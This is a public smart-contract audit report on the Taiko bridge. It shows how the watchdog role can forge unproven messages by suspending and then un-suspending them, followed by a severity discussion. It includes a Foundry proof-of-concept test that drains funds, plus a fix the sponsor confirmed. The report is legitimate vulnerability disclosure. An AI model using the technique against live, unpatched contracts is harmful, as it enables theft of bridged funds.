Bridge watcher can forge arbitrary message and drain bridge

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L82-L95 https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L230-L231

Vulnerability details

Impact

The bridge_watchdog role can forge arbitrary messages and drain the bridge of all ETH and tokens.

Proof of Concept

bridge_watchdog can call suspendMessasges() to suspend and un-suspend a message

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L82-L95

    function suspendMessages(
        bytes32[] calldata _msgHashes,
        bool _suspend
    )
        external
        onlyFromOwnerOrNamed("bridge_watchdog")
    {
        uint64 _timestamp = _suspend ? type(uint64).max : uint64(block.timestamp);
        for (uint256 i; i < _msgHashes.length; ++i) {
            bytes32 msgHash = _msgHashes[i];
            proofReceipt[msgHash].receivedAt = _timestamp;
            emit MessageSuspended(msgHash, _suspend);
        }
    }

When this function is called to un-suspend a message we set proofReceipt[msgHash] = _timestamp. If the msgHash was not proven before it will now be treated as proven since any msgHash with a timestamp != 0 is treated as proven

https://github.com/code-423n4/2024-03-taiko/blob/f58384f44dbf4c6535264a472322322705133b11/packages/protocol/contracts/bridge/Bridge.sol#L230-L231

        uint64 receivedAt = proofReceipt[msgHash].receivedAt;
        bool isMessageProven = receivedAt != 0

bridge_watchdog can therefore forge arbitrary messages and have them treated as proven by first suspending them and then un-suspending them.

bride_watchdog is supposed to only be able to ban and suspend messages, in the expected worst case bridge_watchdog is limited to DDOSing messages and bans until governance removes the the bridge_watchdog.

With the privilege escalation shown here the role can instead drain the bridge of all ETH and tokens.

POC

Here is a POC showing that we can forge an arbitrary message by suspending and un-suspending a message

To run this POC first change the following code in Bridge.t.sol so that we use a real signalService

register(
+address(addressManager), "signal_service", address(signalService), destChainId 
-address(addressManager), "signal_service", address(mockProofSignalService), destChainId 
);

Paste the below code and run into Bridge.t.sol and run forge test --match-test testWatchdogDrain -vvv

    function testWatchdogDrain() public {
        uint256 balanceBefore = Bob.balance;
        IBridge.Message memory message = IBridge.Message({
            id: 0,
            from: address(bridge),
            srcChainId: uint64(block.chainid),
            destChainId: destChainId,
            srcOwner: Alice,
            destOwner: Alice,
            to: Bob,
            refundTo: Alice,
            value: 10 ether,
            fee: 1,
            gasLimit: 1_000_000,
            data: "",
            memo: ""
        });

        bytes memory proof = hex"00";
        bytes32 msgHash = destChainBridge.hashMessage(message);

        bytes32[] memory msgHashA = new bytes32[](1); 
        msgHashA[0] = msgHash;

        vm.prank(Alice); 
        destChainBridge.suspendMessages(msgHashA, true); 

        vm.prank(Alice);
        destChainBridge.suspendMessages(msgHashA, false); 

        vm.chainId(destChainId);
        vm.prank(Bob, Bob);

        destChainBridge.processMessage(message, proof);

        IBridge.Status status = destChainBridge.messageStatus(msgHash);

        assertEq(status == IBridge.Status.DONE, true);
        console2.log("Bobs Stolen funds", Bob.balance-balanceBefore);

        console2.log("We have successfully processed a message without actually proving it!");
    }

Tools Used

foundry, vscode

Recommended Mitigation Steps

Un-suspended messages should be set to 0 and be proven or re-proven.

    function suspendMessages(
        bytes32[] calldata _msgHashes,
        bool _suspend
    )
        external
        onlyFromOwnerOrNamed("bridge_watchdog")
    {
+       uint64 _timestamp = _suspend ? type(uint64).max : 0;
        for (uint256 i; i < _msgHashes.length; ++i) {
            bytes32 msgHash = _msgHashes[i];
            proofReceipt[msgHash].receivedAt = _timestamp;
            emit MessageSuspended(msgHash, _suspend);
        }
    }

Assessed type

Other

[c4-pre-sort]

minhquanym marked the issue as primary issue

[c4-pre-sort]

minhquanym marked the issue as sufficient quality report

[c4-sponsor]

dantaik (sponsor) confirmed

[dantaik]

This is a valid bug report. The bug has been fixed in this PR: https://github.com/taikoxyz/taiko-mono/pull/16545

[0xean]

Good report, but I am not sure it qualifies as H severity and most likely should be M.

I think there is a pre-condition here ( a malicious watchdog).

2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

would welcome more conversation during PJ-QA

[c4-judge]

0xean changed the severity to 2 (Med Risk)

[c4-judge]

0xean marked the issue as satisfactory

[c4-judge]

0xean marked the issue as selected for report

[t0x1cC0de]

Hey @0xean, Thanks for the review. Commenting here as the owner of #47. It's not only about:

I think there is a pre-condition here ( a malicious watchdog).

It's also about the fact that the watchdog has no way to safely suspend & unsuspend an unproven message, as described in my report. Not sure if that qualifies this and #47 to be upgraded to High or not, but thought it was important to highlight the fact.

Thanks!

[0jovi0]

Hey @0xean,

As the bridge watchdog is considered a trusted role, I believe this issue should be categorized as QA.

As per C4's Severity Categorization: "Mistakes in code only unblocked through admin mistakes should be submitted within a QA Report."

Thank you!

[mcgrathcoutinho]

Hi @0xean, I believe this issue should be of QA-severity.

1. The bridge watchdog being malicious is out of scope and treated as QA as per the C4 docs/rulings.
2. Now, let’s go through the case about the normal functioning of suspension/unsuspension being impacted as described in duplicate #47.
   • The Attack scenario 1 mentions that it is never checked on L236 if the message signal was really received. The watchdog though only suspends messages if they were relayed (see relayer docs here). This automatically defies attack scenario 1. The attack is only possible if the watchdog unsuspends a fake message, which it won't since it's fake.
   • Regarding the 2nd attack scenario, it is invalid since the sponsor comment here clearly mentions that a message can never be suspended after RETRIABLE and thus unsuspension could never start from a state which is RECALLED.

Overall, I believe this issue and it's duplicates serve QA at best.

Thank you for your time!

[t0x1cC0de]

• The watchdog though only suspends messages if they were relayed (see relayer docs here). This automatically defies attack scenario 1. The attack is only possible if the watchdog unsuspends a fake message, which it won't since it's fake.

I believe we are mixing "relayed message" with a "message signal not yet to be received". #47 does not intend to assume a wrong input by watchdog or a malicious one. I believe therefore that #47 stands valid on its own. But it would certainly be very helpful to have the sponsor's technical insight on this before supplying any further arguments from my side.

[mcgrathcoutinho]

I believe we are mixing "relayed message" with a "message signal not yet to be received"

Why would the watchdog suspend a message that was never relayed/signalled/created from the source chain though? I've linked the docs for that exact reason since it clearly cites how the watchdog suspends messages i.e. only after confirming the source.

[0xmonrel]

Privilege escalation issues are uncapped according to C4 docs and can be both MED and HIGH.

Privilege escalation issues are judged by likelihood and impact and their severity is uncapped.

Bridge watcher is supposed to only be able to suspend and ban. The worst case is supposed to be DOS for a brief moment until the user is removed, instead they are able to drain the bridge.

Severity is clearly High. Likelihood is hard to assess. What we can see from the code is that Taiko has design the system to be minimally centralized, trusted roles have limited scope and upgrades has to go through the governance system. This vulnerability bypasses all of that and gives a single role the ability to drain all assets.

[0xean]

Agree that if this attack is feasible, it represents privilege escalation.

as pointed out previously:

Privilege escalation issues are judged by likelihood and impact and their severity is uncapped.

Would be useful to get one final comment from @dontonka / @adaki2004 but most likely will leave as judged.

[mcgrathcoutinho]

Just pointing out point 2 and its subpoints here on my comment above regarding the feasibility (in case missed by sponsors), with the main point being how the bridge watchdog suspends messages as per the relayer docs here.

[dontonka]

tagged my mistake also on this issue 😅. @dantaik

[adaki2004]

Agree that if this attack is feasible, it represents privilege escalation.

as pointed out previously:

Privilege escalation issues are judged by likelihood and impact and their severity is uncapped.

Would be useful to get one final comment from @dontonka / @adaki2004 but most likely will leave as judged.

Judged.

[0xean]

tagged my mistake also on this issue 😅. @dantaik

sorry about that